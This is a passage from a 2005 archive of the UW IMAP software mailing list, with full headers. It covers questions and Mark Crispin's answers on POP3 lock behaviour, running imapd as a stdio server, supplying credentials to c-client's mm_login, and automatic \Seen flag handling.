Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In the example you gave, the ipop3d server with process ID 8994 held and retained the lock from 21:25:01 until 00:28:07, at which point it deleted 2424 messages. This was a normal POP3 logout, not a logout as a result of a disconnection. As distributed by UW, a POP3 server session that has been idle for 10 minutes will automatically log itself out. In addition, a POP3 server session which has been idle for at least 5 minutes will relenquish the lock to a new POP3 server session which is trying to acquire the lock. I do not know if your copy of ipop3d came from unmodified UW sources or not. If you have modified ipop3d, or if you obtained ipop3d from a third party, I can not speak for its behavior. Assuming that your ipop3d is unmodified, or the modifications do not affect ipop3d's behavior in this regard, then the only explanation for the log messages which you report is the following: A POP3 client connected at 21:35:01 and got the process id 8994 server. That POP3 client kept the session non-idle throughout this period. Other POP3 clients attempted to connect at 21:43:24, 21:47:40, 22:01:40, and 23:28:01, but could not get the mailbox because the process id 8994 server had activity with the prior 5 minutes. At no time was the server idle for as long as 10 minutes. Sometime between 21:35:01 and 00:28:07, the client to the process 8994 server sent 2424 POP3 DELE commands to request that messages be deleted when the client logs out with a QUIT command. The client had the option of cancelling these DELE requests with a RSET command, but did not do so. At 00:28:07, the client connected to the process id 8994 server logged out with a QUIT command. The upshot is that the responsible party is the POP3 client which was connected to the process ID 8994 server. I do not think that client was Microsoft Outlook; it does not normally behave that way. This suggests, especially if the problem affects one particular user, that something is going on that you havne't been told. One possibility is pilot error; sometimes users don't tell you everything until you ferret it out. Another possibility is that the user is being hacked. Good luck in the detective work. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri May 20 08:08:40 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 May 2005 08:08:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KF8egW011672 for ; Fri, 20 May 2005 08:08:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KF8d9I010546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 20 May 2005 08:08:39 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KF8KTd022673; Fri, 20 May 2005 08:08:20 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K8e2Od032706 for ; Fri, 20 May 2005 01:40:02 -0700 Received: from wmail03dat.netvigator.com (wmail03.netvigator.com [218.102.48.215]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K8e0bS019470 for ; Fri, 20 May 2005 01:40:01 -0700 Received: from alexcd9t4f0rbw ([203.218.7.49]) by wmail03dat.netvigator.com (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with SMTP id <20050520083959.NCNI26764.wmail03dat.netvigator.com@alexcd9t4f0rbw> for ; Fri, 20 May 2005 16:39:59 +0800 Message-ID: <002101c55d17$8394b880$0100a8c0@alexcd9t4f0rbw> From: "Golibasku" To: Date: Fri, 20 May 2005 16:39:56 +0800 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_CHARSET_FARAWAY 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Mailman-Approved-At: Fri, 20 May 2005 08:08:19 -0700 Cc: Subject: [Imap-uw] src\imapd in imap-2004c1 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1879068897==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============1879068897== Content-Type: multipart/alternative; boundary="----=_NextPart_000_001E_01C55D5A.8E292C70" This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C55D5A.8E292C70 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Dear all, Is the imapd under the imap-2004c1 a full-blown imap server ? It = seems it is even not a server. It just read the command from standard = input.=20 regards Ga ------=_NextPart_000_001E_01C55D5A.8E292C70 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
    Dear all,
        Is the imapd under = the=20 imap-2004c1 a full-blown imap server ? It seems it is even not a server. = It just=20 read the command from standard input.
     
    regards
    Ga
    ------=_NextPart_000_001E_01C55D5A.8E292C70-- --===============1879068897== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1879068897==-- From pinedev@shivax2.cac.washington.edu Fri May 20 08:28:12 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 May 2005 08:28:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFSC6Y012676 for ; Fri, 20 May 2005 08:28:12 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFSBnj002977 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 20 May 2005 08:28:11 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFRjih025258; Fri, 20 May 2005 08:27:45 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFRhVL025249 for ; Fri, 20 May 2005 08:27:43 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFRhOT028858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 20 May 2005 08:27:43 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFRgNw030090; Fri, 20 May 2005 08:27:43 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4KFRVjg030863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 20 May 2005 08:27:42 -0700 Date: Fri, 20 May 2005 08:27:31 -0700 (PDT) From: Mark Crispin To: Golibasku Subject: Re: [Imap-uw] src\imapd in imap-2004c1 In-Reply-To: <002101c55d17$8394b880$0100a8c0@alexcd9t4f0rbw> Message-ID: References: <002101c55d17$8394b880$0100a8c0@alexcd9t4f0rbw> MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 20 May 2005, Golibasku wrote: > Is the imapd under the imap-2004c1 a full-blown imap server ? It > seems it is even not a server. It just read the command from standard > input. This question is covered in the imap-????/docs/BUILD documentation file, under "WIN32 INSTALLATION NOTES". imapd is a stdio server. Listening on port 143 is done by a separate program which invokes imapd. On UNIX, it is usually inetd or xinetd. On Windows, it is a program such as inetlisn or wsinetd. More detail is in the BUILD file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 25 00:41:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 May 2005 00:41:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4P7fwhp001789 for ; Wed, 25 May 2005 00:41:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4P7ftOV021517 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 25 May 2005 00:41:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4P7fVUd016139; Wed, 25 May 2005 00:41:32 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4P7fU3I016131 for ; Wed, 25 May 2005 00:41:30 -0700 Received: from sth2k02.streamserve.com (sth2k02.streamserve.com [195.242.62.44] (may be forged)) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4P7fTKB026897 for ; Wed, 25 May 2005 00:41:30 -0700 Received: by sth2k02.streamserve.com with Internet Mail Service (5.5.2657.72) id ; Wed, 25 May 2005 09:44:37 +0200 Received: from sth3k12.streamserve.com ([192.168.2.31]) by sth2k02.streamserve.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id GQ0NXD3V; Wed, 25 May 2005 09:44:35 +0200 From: "Gard, Torbjorn" To: IMAP-UW@u.washington.edu X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: Produced By Microsoft Exchange V6.5.7226.0 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Date: Wed, 25 May 2005 09:40:43 +0200 Message-ID: <112AD0BB29AA17499E60E899C166C46B686E91@sth3k12.streamserve.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: mm_login and user/password Thread-Index: AcVg/Th/KZWkQt+kR8SIZdn9DPStgg== X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' Cc: Subject: [Imap-uw] mm_login and user/password X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0049696942==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============0049696942== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C560FD.0E8EF62F" This is a multi-part message in MIME format. ------_=_NextPart_001_01C560FD.0E8EF62F Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello =20 I have a question regarding how to supply user and password information to the cclient library. The present use of mm_login should be quite sufficient for display oriented client software. =20 We are using cclient in a server program which is able to send and receive mail. Both pop3 and imap protocols are used. Sending mail includes rfc2554 (authentication). So there are three cases where user/password is needed. =20 Users and passwords are supplied in the mm_login callback. This seems = to be the only way to do it. This has worked in the past. However we are migrating to a new threading model where this will no longer work as we can not use a global variable. =20 As I see it we have three options. =20 - The first is to set a thread specific mm_login callback with mail_parameters().=20 =20 - The other is to somehow set a pointer to the information in the = NETMBX structure which is available in mm_login. =20 - The third is to supply the MAILSTREAM to mm_login and use an updated "void *sparep" which is already present in MAILSTREAM to point out the user/password information.. =20 All of these approaches needs cclient modifications which I am = reluctant to do. =20 Have I missed something?=20 =20 regards =20 Torbj=F6rn Gard R&D StreamServe AB,=20 Vasagatan 45 SE 411 37 Gothenburg, Sweden +46 31 778 26 00 Phone +46 31 778 26 10 Fax www.streamserve.com =20 =20 ------_=_NextPart_001_01C560FD.0E8EF62F Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hello
     
    I = have a question=20 regarding how to supply user and password information to the cclient = library.=20 The present use of mm_login should be quite sufficient for display = oriented=20 client software.
     
    We = are using cclient=20 in a server program which is able to send and receive mail. Both = pop3 and=20 imap protocols are used. Sending mail includes rfc2554 = (authentication). So=20 there are three cases where user/password is = needed.
     
    Users = and=20 passwords are supplied in the mm_login callback. This seems = to be the=20 only way to do it. This has worked in the past. However we = are migrating to=20 a new threading model where this will no longer work as we can not = use a=20 global variable.
     
    As I = see it we=20 have three options.
     
    - The = first is to=20 set a thread specific mm_login callback with mail_parameters().=20
     
    - The other is = to somehow set a=20 pointer to the information in the NETMBX structure which is available = in=20 mm_login.
     
    - The = third is to=20 supply the MAILSTREAM to mm_login and use an updated "void = *sparep" which=20 is already present in MAILSTREAM to point out the user/password=20 information..
     
    All of these=20 approaches needs cclient modifications which I am reluctant to=20 do.
     
    Have = I missed=20 something?
     
    regards
     =20

    Torbj=F6rn = Gard
    R&D
    StreamServe AB, =
    Vasagatan 45
    SE 411 37 Gothenburg, Sweden
    +46 31 778 26 00 = Phone
    +46 31=20 778 26 10 Fax
    www.streamserve.com

     
    ------_=_NextPart_001_01C560FD.0E8EF62F-- --===============0049696942== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============0049696942==-- From pinedev@shivax2.cac.washington.edu Wed May 25 10:02:27 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 May 2005 10:02:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4PH2R0i029841 for ; Wed, 25 May 2005 10:02:27 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4PH2QX8020436 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 25 May 2005 10:02:26 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4PH1vou029705; Wed, 25 May 2005 10:01:57 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4PH1jpN029600 for ; Wed, 25 May 2005 10:01:45 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4PH1i1f026906 for ; Wed, 25 May 2005 10:01:45 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR010.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IH2007JR1YSKV@VL-MO-MR010.ip.videotron.ca> for imap-uw@u.washington.edu; Wed, 25 May 2005 13:01:44 -0400 (EDT) Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j4PH1CrK019628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 25 May 2005 13:01:14 -0400 Date: Wed, 25 May 2005 13:01:38 -0400 From: Mike Schmidt To: imap-uw@u.washington.edu Message-id: <4294AF72.9020609@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] IMAP \Seen flag behaviour in c-client X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, Can anyone explain the automatic behaviour of the IMAP \Seen flag in c-client? I notice that sometimes it is set, and sometimes not, even though I have not manually set it in any way. (although this may be just my impression) Under what conditions does it change automatically, if it does, and is there any way to manage this? I'm using c-client for IMAP access and trying to manage the synchronization between my mail client and the IMAP server. Are there any other flags that are automatically managed in some way by c-client? Thanks very much for any help your can provide. I've found this list very useful in the past, and my adventures with c-client are far from over. Mike _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 25 17:42:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 May 2005 17:42:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0grb7020923 for ; Wed, 25 May 2005 17:42:53 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0gq73012979 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 25 May 2005 17:42:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0gDBW011760; Wed, 25 May 2005 17:42:13 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0gBoP011752 for ; Wed, 25 May 2005 17:42:11 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0gAwB024844 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 25 May 2005 17:42:11 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0gARl004927; Wed, 25 May 2005 17:42:10 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q0gA6I025379 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 25 May 2005 17:42:10 -0700 Date: Wed, 25 May 2005 17:42:12 -0700 (Pacific Daylight Time) From: Mark Crispin To: "Gard, Torbjorn" Subject: Re: [Imap-uw] mm_login and user/password In-Reply-To: <112AD0BB29AA17499E60E899C166C46B686E91@sth3k12.streamserve.com> Message-ID: References: <112AD0BB29AA17499E60E899C166C46B686E91@sth3k12.streamserve.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: IMAP-UW@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu It isn't possible to supply a MAILSTREAM with mm_login(), since either there is no MAILSTREAM (sending with SMTP or NNTP) or the MAILSTREAM is in the process of being created (IMAP, POP3, or reading with NNTP). Either way, there is no usable MAILSTREAM that can be used. The right way to solve your problem is to have a global database in which you look up some set of host, orighost, user, authuser, and service from the NETMBX. That probably means that you need to specify /user=??? in the specification that you supply to mail_open()/smtp_open()/nntp_open() in order to disambiguate which request the mm_login() is doing. The need to use /user=??? is probably the missing piece of the puzzle; instead of letting mm_login() get the user name, it has to be supplied when you do the open call and mm_login() just copies it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 25 18:05:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 May 2005 18:05:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15jRh022046 for ; Wed, 25 May 2005 18:05:45 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15icA014368 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 25 May 2005 18:05:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15ZV1014739; Wed, 25 May 2005 18:05:35 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15Xdd014731 for ; Wed, 25 May 2005 18:05:33 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15X1b001713 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 25 May 2005 18:05:33 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15Wak014378 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 25 May 2005 18:05:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4Q15Wha020478 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 25 May 2005 18:05:32 -0700 Date: Wed, 25 May 2005 18:05:35 -0700 (Pacific Daylight Time) From: Mark Crispin To: Mike Schmidt Subject: Re: [Imap-uw] IMAP \Seen flag behaviour in c-client In-Reply-To: <4294AF72.9020609@sepia.com> Message-ID: References: <4294AF72.9020609@sepia.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 25 May 2005, Mike Schmidt wrote: > Can anyone explain the automatic behaviour of the IMAP \Seen flag in > c-client? The \Seen flag is manipulated in accordance with the requirements of the IMAP specification (RFC 3501). Functions mail_fetch_header(), mail_fetch_text(), and mail_fetch_body() all set \Seen automatically unless the FT_PEEK flag is supplied. As for what the shortcuts (e.g. mail_fetchheader, mail_fetchtext) do, look at their definitions in mail.h. These shortcuts are macros into the real functions. In general, fetching headers in the shortcuts do not set \Seen and fetch text/body in the shortcuts set \Seen. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 30 04:05:57 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 May 2005 04:05:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UB5uP4016746 for ; Mon, 30 May 2005 04:05:56 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UB5ukN030964 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 30 May 2005 04:05:56 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UB5TpY008007; Mon, 30 May 2005 04:05:29 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UB5Sqb007999 for ; Mon, 30 May 2005 04:05:28 -0700 Received: from design.uz (ev1s-207-44-184-40.ev1servers.net [207.44.184.40] (may be forged)) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with SMTP id j4UB5RRx015242 for ; Mon, 30 May 2005 04:05:28 -0700 Received: (qmail 23633 invoked by uid 5002); 30 May 2005 11:06:29 -0000 Received: from unknown (HELO ?192.168.13.29?) (195.158.30.197) by mail.design.uz with SMTP; 